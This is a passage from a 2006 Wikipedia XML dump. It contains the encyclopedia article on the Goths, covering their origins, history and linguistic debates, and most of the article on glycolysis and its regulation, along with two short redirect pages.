      <timestamp>2006-02-09T18:37:24Z</timestamp>
      <contributor>
        <username>Gurubrahma</username>
        <id>253590</id>
      </contributor>
      <comment>rv Pizzadeliveryboy's edits - Gandhi commonly refers to Mahatma and no one else</comment>
      <text xml:space="preserve">#REDIRECT [[Mahatma Gandhi]]</text>
    </revision>
  </page>
  <page>
    <title>Goths</title>
    <id>12641</id>
    <revision>
      <id>41834521</id>
      <timestamp>2006-03-02T01:20:17Z</timestamp>
      <contributor>
        <username>Ksenon</username>
        <id>541820</id>
      </contributor>
      <minor />
      <comment>readded font info</comment>
      <text xml:space="preserve">:''This article is about the Germanic tribes. For the late 20th century youth subculture, see [[Goth]]. For other uses of Gothic, see [[Gothic (disambiguation)]]. Note, this article contains special characters. You may need to install a [[:got:Wikipedia:Gothic Unicode Fonts|Gothic Unicode Font]].''

[[Image:Illus0381.jpg|right|thumb|300px|''Invasion of the Goths'': a late [[19th century]] painting by O. Fritsche portrays the Goths as cavalrymen.]]

The '''Goths''' ([[Gothic language|Gothic]]: 𐌲𐌿𐍄𐌰𐌽𐍃, ''Gutans'') were an [[East Germanic tribe]] who according to their own traditions originated in [[Scandinavia]] (specifically [[Gotland]] and [[Götaland]] proper). They migrated southwards and conquered parts of the [[Roman empire]]. Two closely related tribes, the ''Gutar'' and the ''Götar'', who remained in Scandinavia and are often called Goths{{fn|1}}, are separately treated, as [[Gotlander]]s and [[Geats]] respectively.

==Historical sources==
The only source for early Gothic history is [[Jordanes]]' ''[[Getica]]'', (published [[551]]), a condensation of the lost twelve-volume history of the Goths written in Italy by [[Cassiodorus]]. Jordanes may not even have had the work at hand to consult from, and this early information should be treated with caution. Cassiodorus was well placed to write of Goths, for he was an essential minister of [[Theodoric the Great]], who apparently had heard some of the Gothic songs that told of their traditional origins, related in turn by Jordanes with the remark &quot;for so the story is generally told in their early songs, in almost historic fashion.&quot; The Gothic bards accompanied themselves on a stringed instrument that Latin writers associated with the ''[[cithara]],'' which was more familiar to them.

==History==
From Scandinavia, the Goths migrated and set up a kingdom in [[Scythia]] ( modern-day [[Ukraine]] and [[Belarus]]).  In the third century, the tribe split into two: the [[Ostrogoths]] remained in Scythia, while the [[Visigoths]] migrated to [[Dacia]] (modern-day [[Romania]]) to set up an independent kingdom.  The Visigoths sacked Byzantium in the year 267, but by 271, were driven back to Dacia by the Byzantines.   [[Hun]] domination of the Ostrogoth kingdom began in the fourth century, but was defeated by the year 450.  Both the Ostrogoths and Visigoths became heavily Romanized during this period by the influence of trade with the Byzantines, and by their membership in a military covenant centered in Byzantium to assist each other militarily.  In the 5th century, the Visigoths would conquer modern-day Spain from the Roman Empire.

Though many of the fighting nomads who followed them were to prove more bloody, the Goths were feared because the captives they took in battle were sacrificed to their god of war, [[Tyz]] [http://www.northvegr.org/lore/grimmst/009_03.php](the one-Handed [[Tyr]]), and the captured arms hung in trees as a token-offering. Their kings and priests came from a separate aristocracy, according to Cassiodorus/Jordanes, and their mythic kings of ancient times were honored as gods. Their mythic lawgiver, named [[Deceneus]], traditionally dated about the [[1st century BC]], ordered their laws, which they possessed by the [[6th century]] in written form  and called ''belagines''.

A force of Goths launched one of the first major &quot;[[barbarian]]&quot; invasions of the Roman Empire in [[267]] ([[Hermannus Contractus]], quoting [[Eusebius of Caesarea|Eusebius]], has ''&quot;[[263]]: [[Macedon]]ia, [[Greece|Graecia]], [[Pontus]], [[Asia Minor|Asia]] et aliae provinciae depopulantur per Gothos&quot;''). A year later, they suffered a devastating defeat at the [[Battle of Naissus]] and were driven back across the [[Danube River]] by [[271]]. This group then settled on the other side of the Danube from Roman territory and established an independent kingdom centered on the abandoned Roman province of [[Dacia]], as the [[Visigoth]]s. In the meantime, the Goths still in [[Ukraine]] established a vast and powerful kingdom along the Black Sea. This group became known as the [[Ostrogoth]]s.

The Goths were briefly reunited under one crown in the early sixth century under the Ostrogothic king [[Theodoric the Great]], who became regent of the Visigothic kingdom for nearly two decades. 

For the later history of the Goths, see [[Visigoth]]s and [[Ostrogoth]]s.

==Origins==
Explaining the origins of the Goths, [[Jordanes]] recounted:

:''The same mighty sea has also in its arctic region, that is in the north, a great island named [[Scandza]], from which my tale (by God's grace) shall take its beginning. For the race whose origin you ask to know burst forth like a swarm of bees from the midst of this island and came into the land of Europe.'' [...] ''Now from this island of Scandza, as from a hive of races or a womb of nations, the Goths are said to have come forth long ago under their king, Berig by name. As soon as they disembarked from their ships and set foot on the land, they straightway gave their name to the place. And even to-day it is said to be called [[Gothiscandza]]. Soon they moved from here to the abodes of the [[Rugians|Ulmerugi]], who then dwelt on the shores of Ocean, where they pitched camp, joined battle with them and drove them from their homes.''

In the [[1st century]], [[Tacitus]] ([[Germania]], 43) located the ''Gothones'' south of the Mare [[Suebi]]cum (Suevicum) or [[Baltic Sea]]:

:''Beyond the [[Lygians]] dwell the '''Gothones''', under the rule of a king; and thence held in subjection somewhat stricter than the other German[ic] nations, yet not so strict as to extinguish all their liberty. Immediately adjoining are the [[Rugians]] and [[Lemovians]] upon the coast of the ocean, and of these several nations the characteristics are a round shield, a short sword and kingly government.''

[[Pliny the Elder]] calls them the '''Gutones'''. According to him, they were a major Germanic people, being one of five ([[Natural History]], Book 4, Chapter 28). He also states (Op. Cit. Book 37, Chapter 11) that the explorer, [[Pytheas]] of [[Massilia]] ([[4th century BC]]) encountered them in his northern expedition to an &quot;estuary&quot; we know to have been the Baltic from Pliny's reference to amber washed up on the beaches. A date earlier than the [[1st century]] is thus supported. [[Strabo]] also (Geography, Book 7, Chapter 1, Section 3) mentions that [[Marbod]], after a pleasant sojourn with [[Augustus]], took command of nearly all the tribes in Germania, including the '''Boutones''' (attested as ''Boutonas'' in the accusative case, and Latinized to '''Butones'''), which are generally interpreted as an error for ''Goutones'', Latinized to ''Gutones''. For the Scandinavian Goths, we have [[Ptolemy]], who mentions the '''Goutai''' as living in the south of the island of Skandia.

Due to the central role that the Goths have played in history, their origins have been discussed for a long time. Although no alternative theory has been proposed for the appearance of [[Germanic tribes]] in today's northern Poland, some historians have expressed doubts that the Goths originated in Scandinavia. This is due to the fact that, disregarding Jordanes, the earliest unambiguous ''literary'' evidence for the Goths ([[Tacitus]] and [[Pliny the Elder]]) puts them at the [[Vistula]] in [[1st century]]. Some claim that there is no evidence for a migration at the time of Christ´s birth, and therefore claim that the origin in Scandinavia has to be taken as a topos (cf. Christensen, ''Cassiodorus, Jordanes and the History of the Goths'', Copenhagen 2002).

On the other hand, the German scholar Wenskus has pointed out that if Jordanes had wanted to invent a fictive past for the Goths, he would have claimed that they were descended from a prestigious location such as [[Troy]] or [[Rome]]. He would not have placed their origins in the barbaric North. Moreover, he was writing for fellow Goths who were familiar with their traditions. Besides Jordanes' account, there is both linguistic and archaeological support for the Scandinavian origin. 

=== Archaeology ===
[[Image:Chernyakhov.PNG|right|250px|thumb|The green area is the traditional extent of [[Götaland]] and the dark pink area is the island of [[Gotland]]. The red area is the extent of the [[Wielbark Culture]] in the early [[3rd century]], and the orange area is the [[Chernyakhov Culture]], in the early [[4th century]]. The dark blue area is the [[Roman Empire]]]]
In today's [[Poland]], the earliest material culture identified with the Goths is the Willenberg/Prussia , now [[Wielbark Culture]] [http://www.muzarp.poznan.pl/archweb/gazociag/title5.htm], which replaced the local Oxhoeft/Prussia , now [[Oksywie culture]] in the [[1st century]]. However, as early as the late [[Nordic Bronze Age]] and early [[Pre-Roman Iron Age]] (ca [[1300 BC]] - ca [[300 BC]]), this area had influences from southern Scandinavia [http://www.arkeologi.uu.se/publications/opia/gothicabstract.htm]. In fact, the Scandinavian influence on [[Pomerania]] and today's northern Poland from ca [[1300 BC]] (period III) and onwards was so considerable that this region is sometimes included in the [[Nordic Bronze Age]] culture (Dabrowski 1989:73). 

During the period ca [[600 BC]] - ca [[300 BC]] the warm and dry climate of southern Scandinavia (2-3 degrees warmer than today) deteriorated considerably, which not only dramatically changed the flora, but forced people to change their way of living and to leave settlements. 

The Goths are believed to have crossed the [[Baltic Sea]] sometime between the end of this period, ca [[300 BC]], and [[100]], and in the traditional province of [[Ostrogothia]], in Sweden, archaeological evidence shows that there was a general depopulation during this period. The settlement in today's Poland probably corresponds to the introduction of Scandinavian burial traditions, such as the [[Stone Circle (Iron Age)|stone circles]] and the [[Menhir (Iron Age)|stelae]], which indicates that the early Goths preferred to bury their dead according to Scandinavian traditions. The Polish archaeologist Tomasz Skorupka states that a migration from Scandinavia is regarded as a matter of certainty:
[[Image:Stonecircle.JPG|thumb|400px|The stone circle was one of the Scandinavian burial traditions used by the Goths in [[Pomerania]]]]
:''Despite many controversial hypotheses regarding the location of Scandia (for example, in the island of [[Gotland]]ia and the provinces of [[Westrogothia|Västergotland]] and [[Ostrogothia|Östergotland]]), the fact that the Goths arrived on today's Polish land from the North after crossing the Baltic Sea by boats is certain.''[http://www.muzarp.poznan.pl/muzeum/muz_eng/wyst_czas/Goci_katalog/index_kat.html]

However, the Gothic culture also appears to have had continuity from earlier cultures in the area[http://www.muzarp.poznan.pl/archweb/gazociag/title5.htm], suggesting that the immigrants mixed with earlier populations, perhaps providing their separate aristocracy. The Oxford scholar Heather suggests that it was a relatively small migration from Scandinavia (1996:25). This scenario would make their migration across the Baltic similar to many other population movements in history, such as the [[Anglo-Saxons#The &quot;Anglo-Saxon invasion&quot; and genetic history|Anglo-Saxon Invasion]], where migrants have imposed their own culture and language on an indigenous one. The Willenberg/Wielbark culture shifted south-eastwards towards the [[Black Sea]] area from the mid-2nd century. It was the oldest part of the Wielbark culture, located west of the Vistula and which had Scandinavian burial traditions, that pulled up its stakes and moved[http://www.muzarp.poznan.pl/muzeum/muz_eng/wyst_czas/Goci_katalog/index_kat.html]. In the Ukraine, they imposed themselves as the rulers of the local, probably Slavic, [[Zarubintsy culture]] forming the new [[Chernyakhov Culture]] (ca [[200]] - ca [[400]]).

There is archaeological and historical evidence of continued contacts between the Goths and the Scandinavians during their migrations.

=== Linguistics ===
According to at least one theory, there are closer linguistic connections between [[Gothic language|Gothic]] and [[Old Norse]] than between Gothic and the [[West Germanic languages]] (see [[East Germanic languages]] and [[Gothic language|Gothic]]). Moreover, there were two tribes that probably are closely related to the Goths and remained in Scandinavia, the [[Gotlander]]s and the [[Geats]], and these tribes were considered to be Goths by Jordanes (see [[Scandza]]).

The names ''Geats'', ''Goths'' and ''Gutar'' (Gotlanders) are three versions of the same tribal name. ''Geat'' was originally [[Proto-Germanic]] *''Gautoz'' and ''Goths'' and ''Gutar'' were *''Gutaniz''. According to Andersson (1996), *''Gautoz'' and *''Gutaniz'' are two ablaut grades of a Proto-Germanic word (*''geutan'') with the meaning &quot;to pour&quot; (modern Swedish ''gjuta'', modern German ''giessen'') designating the tribes as &quot;pourers of semen&quot;, i.e. &quot;men, people&quot;. [[Gapt]], the earliest Gothic hero, recorded by [[Jordanes]], is generally regarded as a corruption of ''Gaut''.

A compound name, ''Gut-þiuda'', the &quot;Gothic people&quot;, appears in the ''Gothic Calendar'' (''aikklesjons fullaizos ana '''gutþiudai''' gabrannidai''). Besides the Goths, this way of naming a tribe is only found in Sweden (see [[Suiones]] and [[Suiþioð]]).

Etymologically, the name of the Goths identical to that of the ''Gutar'', the inhabitants of [[Gotland]], and island in the [[Baltic Sea]]. The number of similarities that existed between the [[Gothic language]] and [[Old Gutnish]], made the prominent linguist [[Elias Wessén]] consider Old Gutnish to be a form of Gothic. The most famous example is that both [[Gutnish language|Gutnish]] and [[Gothic language|Gothic]] used the word ''lamb'' for both young and adult sheep. Still, some claim that [[Gutnish language|Gutnish]] is not closer to Gothic than any other Germanic dialect. 

The fact is that virtually all of those phonetic and grammatical features that characterize the [[North Germanic languages]] as a separate branch of the [[Germanic]] language family (not to mention the features that distinguish various [[Norse]] dialects) seem to have evolved at a later stage than the one preserved in Gothic. Gothic in turn, while being an extremely archaic form of Germanic in most respects, has nevertheless developed a certain number of unique features that it shares with no other Germanic language (see [[Gothic language]]).

However, this does not exclude the possibility of the Goths, the Gotlanders and the Geats being related as tribes. Similarly, the Saxon dialects of Germany are hardly closer to [[Anglo-Saxon]] than any other West Germanic language that hasn't undergone the High German consonant shift (see [[Grimm's law]]), but the tribes themselves are definitely identical. The Jutes (Dan. jyder) of Jutland (Dan. Jylland, in Western Danmark) are at least etymologically identical to the [[Jutes]] that came from that region and invaded Britain together with the Angles and the Saxons in the 5th century AD. Nevertheless, there are no remaining written sources to associate the Jutes of Jutlandia with anything but North Germanic dialects, or the Jutes of Britain with anything but West Germanic dialects. Thus, language is not always the best criterion for tribal or ethnic tradition and continuity.

The Gotlanders (''Gutar'') themselves had oral traditions of a mass migration towards southern Europe, written down in the [[Gutasaga]]. If the facts are related, that would be a unique case of a tradition that survived in more than a thousand years and that actually pre-dates most of the major splits in the Germanic language family.

==Symbolic meaning==
In Medieval and Modern Spain, the Visigoths were thought to be the origin of the [[Spanish nobility]] (compare [[Gobineau]] for a similar French idea).
Somebody acting with arrogance would be said to be &quot;''haciéndose de los godos''&quot; (&quot;making himself to come from the Goths&quot;). Because of this, in [[Chile]], [[Argentina]] and the [[Canary Islands]], ''godo'' was an [[ethnic slur]] used against European Spaniards, who in the early colony period would feel superior to the people born locally (''[[Spanish Criollo peoples|criollos]]'').

This claim of Gothic origins led to a clash with the Swedish delegation at the [[Council of Basel]], [[1434]]. Before the assembled [[cardinal (Catholicism)|cardinal]]s and delegations could undertake the theological discussions, they had to decide how to sit during the proceedings. The delegations from the more prominent nations were to sit closest to the [[Pope]], and there were also disputes about who was to have the finest chairs and who was to have their chairs on mats. In some cases they compromised so that some would have half a chair leg on the rim of a mat. In this infected conflict, the bishop of [[Diocese of Växjö|Växjö]], [[Nicolaus Ragnvaldi]] claimed that the Swedes were the descendants of the great Goths, and that the people of [[Västergötland]] (''Westrogothia'' in Latin) were the [[Visigoth]]s and the people of [[Östergötland]] (''Ostrogothia'' in Latin) were the [[Ostrogoths]]. The Spanish delegation then retorted that it was only the ''lazy'' and ''unenterprising'' Goths who had remained in Sweden, whereas the ''heroic'' Goths, on the other hand, had left Sweden, invaded the Roman empire and settled in Spain (Ergo 12-1996).

The Goths' relationship with Sweden became an important part of Swedish nationalism, and until the [[19th century]] the view that the Swedes were the direct descendants of the Goths was common. Today Swedish scholars identify this as a [[cultural movement]] called [[Gothicismus]], which included an enthusiasm for things [[Old Norse]]. In Scandinavia, both Old Norse matters and the Goths' relationship to Sweden are ideologically very infected, and the stance that historians take in the issue is an ideological symbol.

==References==
*Andersson, Thorsten. (1996) &quot;Göter, goter, gutar&quot; in ''Journal Namn och Bygd'', Uppsala.

*Mastrelli, Carlo Alberto in Volker Bierbauer et al, ''I Goti'', Milan: Electa Lombardia, Elemond Editori Associati, 1994.

*Graf E.C. Oxenstierna: ''Die Urheimat der Goten''. Leipzig, Mannus-Buecherei 73, 1945 (later printed in 1948).

*Bell-Fialkoff, A.: ''The Role of Migration in the History of the Eurasian Steppe'', London: Macmillan, 2000.

*Dabrowski, J. (1989) Nordische Kreis un Kulturen Polnischer Gebiete. ''Die Bronzezeit im Ostseegebiet. Ein Rapport der Kgl. Schwedischen Akademie der Literatur Geschichte und Alter unt Altertumsforschung über das Julita-Symposium 1986''. Ed Ambrosiani, B. Kungl. Vitterhets Historie och Antikvitets Akademien. Konferenser 22. Stockholm.

*Findeisen, Joerg-Peter: ''Schweden - Von den Anfaengen bis zur Gegenwart'', Regensburg: Verlag Friedrich Pustet, 1998.

*Heather, Peter: ''The Goths'' (Blackwell, 1996) 

*Hermodsson, Lars: ''Goterna - ett krigafolk och dess bibel'', Stockholm, Atlantis, 1993.

*Kaliff, Anders: ''Gothic Connections. Contacts between eastern Scandinavia and the southern Baltic coast 1000 BC – 500 AD''. 2001.

*Nordgren, I.: ''The Well Spring of the Goths : About the Gothic peoples in the Nordic Countries and on the Continent'' (2004)

*Nordgren, I.: ''Goterkällan - om goterna i Norden och på kontinenten'', Skara: Vaestergoetlands museums skriftserie nr 30, 2000.

*Rodin, L. - Lindblom, V. - Klang, K.: ''Gudaträd och västgötska skottkungar - Sveriges bysantiska arv'', Göteborg: Tre böcker, 1994.

*''Schaetze der Ostgoten'', Stuttgart: Theiss, 1995. Studia Gotica - Die eisenzeitlichen Verbindungen zwischen Schweden und Suedosteuropa - Vortraege beim Gotensymposion im Statens Historiska Museum, Stockholm 1970.

*Tacitus: ''Germania'', (with introduction and commentary by J.B. Rives), Oxford: Clarendon Press, 1999. 

*Wenskus, Reinhard: ''Stammesbildung und Verfassung. Das Werden der Frühmittelalterlichen Gentes'' (Köln 1961).

==External links==
*[http://www.acs.ucalgary.ca/~vandersp/Courses/texts/jordgeti.html &quot;The Origins and Deeds of the Goths&quot;, by Jordanes, trans. Charles C. Mierow]
* [http://www.muzarp.poznan.pl/archweb/gazociag/title5.htm &quot;The Goths in Greater Poland&quot; by Tadeusz Makiewicz]
*[http://www.muzarp.poznan.pl/muzeum/muz_eng/wyst_czas/Goci_katalog/index_kat.html &quot;Jewellery of the Goths&quot;, by Tomasz Skorupka, on a Polish museum site]	
*[http://www.wsu.edu:8080/~dee/MA/GERMANS.HTM &quot;The Germans&quot; by Richard Hooker]
*[http://www.arkeologi.uu.se/publications/opia/gothicabstract.htm Summary of &quot;Gothic Connections&quot; by Anders Kaliff]

==Notes==	 
{{fnb|1}} E.g. [[Encarta|Microsoft Encarta]] (on Swedish history), [http://sunsite.berkeley.edu/OMACL/Volsunga/ translations from Old Norse], [http://www.gutenberg.org/etext/9701 Anglo-Saxon] or [http://www.fordham.edu/halsall/basis/anskar.html Latin] and the [[Primary Chronicle]] and modern scholarly works on Germanic tribes [http://www.amazon.com/exec/obidos/tg/detail/-/0595336485].

==See also==
*[[Arheimar]]
*[[The Battle of the Goths and Huns]] 
*[[Crimean Goths]]
*[[Gothic language]]
*[[Gothic alphabet]]
*[[Gotlander]]s
*[[Götaland]]
*[[Geats]]
*[[Gepidae]]
*[[Hervarar saga]]
*[[Jutes]]
*[[King of the Geats]]
*[[Migrations period]]
*[[Ostrogoth]]
*[[Reidgotaland]]
*[[Sava the Goth]]
*[[Ulfilas]];[[Codex Argenteus]]
*[[Visigoth]]


[[Category:Ancient Germanic peoples]]
[[Category:Ancient Roman enemies and allies]]
[[Category:Ethnic groups in Europe]]
[[Category:Goths]]
[[Category:History of the Germanic peoples]]
[[Category:Late Antiquity]]
[[Category:Migration Period]]

[[af:Gote]]
[[ar:قوط]]
[[bg:Готи]]
[[br:Goted]]
[[cs:Gótové]]
[[da:Goter]]
[[de:Goten]]
[[es:Godo]]
[[eo:Gotoj]]
[[fr:Goths]]
[[got:𐌲𐌿𐍄𐌰𐌽𐍃]]
[[ko:고트족]]
[[it:Goti]]
[[he:גותים]]
[[la:Gothi]]
[[lt:Gotai]]
[[hu:Gótok]]
[[nl:Goten]]
[[ja:ゴート族]]
[[no:Gotere]]
[[pl:Goci]]
[[pt:Godos]]
[[ru:Готы]]
[[sv:Goter]]
[[uk:Готи]]</text>
    </revision>
  </page>
  <page>
    <title>Goddess Worship</title>
    <id>12643</id>
    <revision>
      <id>15910315</id>
      <timestamp>2002-05-25T17:25:10Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#REDIRECT [[goddess worship]]</comment>
      <text xml:space="preserve">#REDIRECT [[goddess worship]]</text>
    </revision>
  </page>
  <page>
    <title>Glycolysis</title>
    <id>12644</id>
    <revision>
      <id>41559228</id>
      <timestamp>2006-02-28T03:40:59Z</timestamp>
      <contributor>
        <username>Daycd</username>
        <id>252905</id>
      </contributor>
      <comment>/* [[Hexokinase]] */ enzyme correct name</comment>
      <text xml:space="preserve">'''Glycolysis''' is a series of [[biochemistry|biochemical]] [[chemical reaction|reactions]] by which a [[molecule]] of [[Glucose|glucose (Glc)]] is [[oxidation|oxidized]] to two molecules of [[Pyruvic acid|pyruvic acid (Pyr)]].

The word glycolysis is from [[Greek language|Greek]] ''glyk'' (meaning sweet) and ''lysis'' (meaning dissolving). It is the initial process of many [[metabolic pathway|pathways]] of [[carbohydrate]] [[catabolism]], and serves two principal functions: generation of high-energy molecules ([[Adenosine triphosphate|ATP]] and [[NADH]]), and production of a variety of six- or three-carbon intermediate metabolites, which may be removed at various steps in the process for other intracellular purposes (such as nucleotide biosynthesis).

Glycolysis is one of the most universal [[metabolism|metabolic]] processes known, and occurs (with variations) in many types of [[Cell (biology)|cell]]s in nearly all types of organisms. Glycolysis alone produces less energy per glucose molecule than complete aerobic oxidation, and so flux through the pathway is greater in anaerobic conditions (i.e., in the absence of [[oxygen]]).

The most common and well-known type of glycolysis is the [[Embden-Meyerhof pathway]], initially elucidated by [[Gustav Embden]] and [[Otto Meyerhof]]. The term can be taken to include alternative pathways, such as the [[Entner-Doudoroff Pathway]]. However, '''glycolysis''' will be used here as a synonym for the [[Embden-Meyerhof pathway]].

==Overview==
The overall reaction of glycolysis is:

:Glc + 2 NAD&lt;sup&gt;+&lt;/sup&gt; + 2 ADP + 2 P&lt;sub&gt;i&lt;/sub&gt; &amp;#8594; 2 NADH + 2 Pyr + 2 ATP + 2 H&lt;sub&gt;2&lt;/sub&gt;O + 2 H&lt;sup&gt;+&lt;/sup&gt;

So, for simple [[fermentation]]s, the metabolism of 1 molecule of glucose has a net yield of 2 molecules of ATP. Cells performing [[cellular respiration|respiration]] synthesize much more ATP, but this is not considered part of glycolysis proper, although these aerobic reactions do use the product of glycolysis. Eukaryotic aerobic respiration produces an additional 34 molecules (approximately) of ATP for each glucose molecule oxidized. Unlike most of the molecules of ATP produced via aerobic respiration, those of glycolysis are produced by [[substrate-level phosphorylation]].

In [[eukaryote]]s, glycolysis takes place within the [[cytosol]] of the cell. Some of the glycolytic reactions are conserved in the [[Calvin cycle]] that functions inside the [[chloroplast]]. This is consistent with the fact that glycolysis is highly conserved in evolution, being common to nearly all living organisms. This suggests great antiquity; it may have originated with the first [[prokaryote]]s, 3.5 billion years ago or more.

==Pathway==
===Sequence of reactions===
====Preparatory phase====
The first five steps are regarded as a preparatory phase since they actually consume energy as the glucose is converted to two three-carbon sugars phosphates ([[Glyceraldehyde_3-phosphate|G3P]]). The bold abbreviations in the two tables correspond to the nomenclature used in the diagram.
{| class=&quot;wikitable&quot;
!Step
!colspan=&quot;2&quot;|Substrate
!colspan=&quot;2&quot;|Enzyme
!Enzyme class
!Comment
|-
|1
|[[glucose]]
|'''Glc'''
|[[hexokinase]]
|'''HK'''
|[[transferase]]
|ATP used at this step. Glucose is usually from the [[hydrolysis]] of starch or glycogen.
|-
|2
| [[glucose-6-phosphate]]
|'''G6P'''
|[[phosphoglucose isomerase]]
|'''GPI'''
|[[isomerase]]
|
|-
|3
|[[fructose 6-phosphate]]
|'''F6P'''
|[[phosphofructokinase]]
|'''PFK'''
|transferase
|The energy expenditure of another ATP in this step is justified in 2 ways: the glycolytic process (up to this step) is now irreversible, and the energy supplied destablises the molecule.
|-
|4
| [[fructose 1,6-bisphosphate]]
|'''F1,6BP'''
|[[aldolase]]
|'''ALDO'''
|[[lyase]]
|Destablising the molecule in the previous reaction allows the hexose ring to be split by [[Aldolase|ALDO]] into two triose sugars, [[dihydroxyacetone phosphate|DHAP]] and [[Glyceraldehyde 3-phosphate|GADP]].
|-
|5
|[[dihydroxyacetone phosphate]]
|'''DHAP'''
|[[triose phosphate isomerase]]
|'''TPI'''
|isomerase
|[[Triose phosphate isomerase|TPI]] rapidly interconverts DHAP with [[glyceraldehyde 3-phosphate]] ('''GADP''')  that proceeds further into glycolysis.
|-
|}

====Pay-off phase====
The second half of glycolysis is known as the pay-off phase, characterised by a net gain of the energy-rich molecules ATP and NADH. Since glucose leads to two triose sugars in the preparatory phase, each reaction in the pay-off phase occurs twice per glucose molecule. This yields 2 NADH molecules and 4 ATP molecules, leading to a net gain of 2 NADH molecules and 2 ATP molecules from the gylcolytic pathway per glucose.

{| class=&quot;wikitable&quot;
!Step
!colspan=&quot;2&quot;|Substrate
!colspan=&quot;2&quot;|Enzyme
!Enzyme class
!Comment
|-
|6
|[[glyceraldehyde 3-phosphate]]
|'''GADP'''
|[[glyceraldehyde 3-phosphate dehydrogenase]]
|'''GAP'''
|[[oxidoreductase]]
|Triose sugars are [[oxidised|dehydrogenated]] and inorganic phosphate is added to them. The hydrogen is used to reduce two molecules of [[NAD]], a hydrogen carrier, to give NADH+H&lt;sup&gt;+&lt;/sup&gt;.
|-
|7
| [[1,3-bisphosphoglycerate]]
|'''1,3BPG'''
|[[phosphoglycerate kinase]]
|'''PGK'''
|[[transferase]]
|A reaction that converts [[Adenosine diphosphate|ADP]] to ATP by an enzymatic transfer of a phosphate to ADP; is an example of [[substrate-level phosphorylation]].
|-
|8
|[[3-phosphoglycerate]]
|'''3PG'''
|[[phosphoglyceromutase]]
|'''PGAM'''
|[[isomerase]]
|
|-
|9
| [[2-phosphoglycerate]]
|'''2PG'''
|[[enolase]]
|'''ENO'''
|[[lyase]]
|
|-
|10
|[[phosphoenolpyruvate]]
|'''PEP'''
|[[pyruvate kinase]]
|'''PK'''
|transferase
|Another example of substrate-level phosphorylation that converts [[Adenosine diphosphate|ADP]] to ATP, forming [[pyruvate]] ('''Pyr''').
|-
|}
[[Image:Glycolysis.png|thumb|right|550px|&lt;div style=&quot;border-width: 0px; border-bottom: 1px solid black; text-align: left;&quot;&gt;'''Glycolysis pathway'''.&lt;/div&gt;The color scheme is as follows: &lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;enzymes&lt;/span&gt;, &lt;span style=&quot;color: rgb(219,155,36);&quot;&gt;coenzymes&lt;/span&gt;, &lt;span style=&quot;color: rgb(151,149,45);&quot;&gt;substrate names&lt;/span&gt;, &lt;span style=&quot;color: rgb(227,13,196);&quot;&gt;metal ions&lt;/span&gt;, &lt;span style=&quot;color: rgb(128,0,0);&quot;&gt;inorganic molecules&lt;/span&gt;, &lt;span style=&quot;color: red;&quot;&gt;inhibition&lt;/span&gt; and &lt;span style=&quot;color: red;&quot;&gt;attached phosphate&lt;/span&gt;, &lt;span style=&quot;color: green;&quot;&gt;stimulation&lt;/span&gt; &lt;/span&gt;]]

===Entry of sugars===
The first step in glycolysis is phosphorylation of Glc by a family of enzymes called [[hexokinase|HK]]s to form [[Glucose 6-phosphate|G6P]]. In the liver, an [[isozyme]] of hexokinase called [[glucokinase|GCK]] is used, which differs primarily in regulatory properties. This reaction consumes 1 ATP, but the energy is well-spent - it keeps [Glc]&lt;sub&gt;i&lt;sub&gt; low as to allow continuous entry of Glc through its plasma membrane transporters; prevents Glc leakage out - the cell lacks such transporters for G6P; activates Glc preparing it for the next metabolic changes.

G6P is then rearranged into [[Fructose 6-phosphate|F6P]] by [[Glucose phosphate isomerase|GPI]]. [[Fructose|Fru]] can also enter the glycolytic pathway via phosphorylation at this point.

===Control of flux===
The flux through the glycolytic pathway must be adjusted in response to conditions both inside and outside the cell. The rate is regulated to meet two major cellular needs: (1) the production of ATP, and (2) the provision of building blocks for biosynthetic reactions. In glycolysis, the reactions catalyzed by hexokinase, phosphofructokinase, and pyruvate kinase are effectively [[irreversible]]. In metabolic pathways, such enzymes are potential sites of control, and all these three enzymes serve this purpose in glycolysis.

There are several different ways to regulate the activity of an enzyme. An immediate form of control is [[feedback]] via [[allosteric]] effectors or by covalent modification. A slower form of control is [[transcriptional regulation]] that controls the amounts of these important enzymes.
====[[Hexokinase]]====

Hexokinase is inhibited by glucose-6-phosphate (G6P), the product it forms through the ATP driven phosphorylation. This is necessary to prevent an accumulation of G6P in the cell when flux through the glycolytic pathway is low. Glucose will enter the cell but since the hexokinase is not active it can readly diffuse back to the blood through the glucose transporter in the plasma membrane. If hexokinase remained active during low glycolytic flux the G6P would accumulate and the extra solute would cause the cells to enlarge due to osmosis.

In liver cells, the extra G6P is stored as [[glycogen]]. In these cells hexokinase is not expressed, instead [[glucokinase]] catalyses the phosphorylation of glucose to G6P.  This enzyme is not inhibited by high levels of G6P and glucose can still be converted to G6P and then be stored as glycogen. This is important when blood glucose levels are high.  During [[hypoglycemia]] the glycogen can be converted back to G6P and then converted to glucose by a liver specific enzyme [[glucose 6-phosphatase]].  This reverse reaction is an important role of liver cells to maintain blood sugars levels during fasting. This is critical for neuron fuction since they can only use glucose as an energy source.

====[[Phosphofructokinase]]-1====
Phosphofructokinase is an important control point in the glycolytic pathway since it is immediately downstream of the entry points for hexose sugars.

High levels of ATP inhibit the PFK enzyme by lowering its affinity for F6P. ATP causes this control by binding to a specific regulatory site that is distinct from the catalytic site. This is a good example of [[allosteric]] control. AMP can reverse the inhibitory effect of ATP. A consequence is that PFK is tightly controlled by the ratio of ATP/AMP in the cell. This makes sense since these molecules are direct indicators of the [[energy charge]] in the cell.

Since glycolysis is also a source of carbon skeletons for biosynthesis, a negative feedback control to glycolysis from the carbon skeleton pool is useful. [[Citrate]] is an example of a metabolite that regulates phosphofructokinase by enhancing the inhibitory effect of ATP. Citrate is an early intermediate in the citric acid cycle, and a high level means that biosynthetic precursors are abundant.

Low pH also inhibits phosphofructokinase activity and prevents the excessive rise of lactic acid during anaerobic conditions that could otherwise cause a drop in blood pH ([[acidosis]]).

[[Fructose 2,6-bisphosphate]] (F2,6BP) is a potent activator of phosphofructokinase (PFK-1) that is synthesised when F6P is phosphorylated by a second phosphofructokinase ([[PFK2]]). This second enzyme is inactive when cAMP is high, and links the regulation of glycolysis to hormone activity in the body. Both [[glucagon]] and [[adrenalin]] cause high levels of cAMP in the liver. The result is lower levels of liver fructose 2,6-bisphosphate such that gluconeogenesis (glycolysis in reverse) is favored. This is consistent with the role of the liver in such situations since the response of the liver to these hormones is to releases glucose to the blood.
====Pyruvate kinase====

===Energy pay-off===
